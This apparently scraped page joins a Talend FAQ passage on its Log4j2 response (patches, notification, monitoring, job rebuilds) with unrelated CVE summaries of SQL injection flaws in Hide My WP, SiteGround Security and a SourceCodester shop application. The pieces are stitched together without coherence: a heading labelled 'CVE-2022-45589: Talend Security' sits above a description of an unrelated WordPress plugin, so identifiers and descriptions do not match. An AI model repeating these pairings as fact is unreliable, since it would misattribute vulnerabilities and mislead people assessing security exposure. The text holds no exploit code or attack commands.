**Patches are specific to Talend Service, the version of the Talend Service, the severity of the risk, and other mitigating controls Talend maintains. While Talend has developed and implemented patches for the Apache Log4j2 vulnerability, the situation is dynamic, and updates are disclosed on a continuous basis. To stay up to date with the most relevant information, please refer to the table in the Summary section of this document.

**How will Talend notify its customers and how will customers receive the patch?** We have reached out to Customers via registered support contacts with instructions to monitor the Security Incident response page. This page is updated regularly and is the best source for up-to-date information.

**If Talend is hosting the customers Talend instance, is Talend using Apache Log4j on any of its systems?  
**Yes. Certain Talend Services use Log4j2, or provide it to customers as part of their Services.

**What steps has Talend taken to mitigate the threat?  
**Since disclosure of the Apache Log4j2 vulnerability, Talend has taken steps to identify all the instances where Apache Log4j2 is utilized within Talend Services, developed, and implemented patches where applicable and as needed, implemented other mitigating controls, and contacted Talend vendors regarding their exposure to Apache Log4j2.

Mitigation efforts, including software patches, are specific to Talend Service, the version of the Talend Service, and the severity of the risk. While Talend has developed patches for the Apache Log4j2 vulnerability, the situation is dynamic, and updates are disclosed on a continuous basis. To stay up to date with the most relevant information, please refer to the table in the Summary section of this document.

**Is Talend monitoring its systems for any indication of compromise (IOC)?  
**Yes.

**Have any of Talend's 3rd parties been affected by this threat?  
**Yes. Part of what makes the Apache log4j2 vulnerability so severe, is its widespread use. Talend is in the process of communicating with critical vendors to coordinate remediation.

**Will Talend publish information related to versions which have reached their end of life (e.g.** 5.X, 6.X, or earlier 7.X releases**)?**  
Yes. Currently supported products are our priority.  To determine if a version is supported or has reached its end-of-life, please refer to Talend's Product support lifecycle https://www.talend.com/technical-support/support-statements/. Please see summary table above for version-specific information.

**With use of the dynamic distribution feature of Talend to connect with a cluster; is it necessary to rebuild/republish jobs to remediate the log4j vulnerability?  
**Yes. 

**For Talend v7.3 and Talend v8.0, do I need to rebuild my Talend jobs and Routes after  
installing the Studio patch?**   
Yes.

CVE-2022-45589: Talend Security

The Hide My WP WordPress plugin before 6.2.9 does not properly sanitize and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.

CVE-2022-4681

A vulnerability was found in SourceCodester Online Eyewear Shop 1.0. It has been classified as critical. This affects the function update_cart of the file /oews/classes/Master.php?f=update_cart of the component HTTP POST Request Handler. The manipulation of the argument cart_id leads to sql injection. It is possible to initiate the attack remotely. The identifier VDB-220245 was assigned to this vulnerability.

CVE-2023-0686

The SiteGround Security WordPress plugin before 1.3.1 does not properly sanitize user input before using it in an SQL query, leading to an authenticated SQL injection issue.

Tag

#sql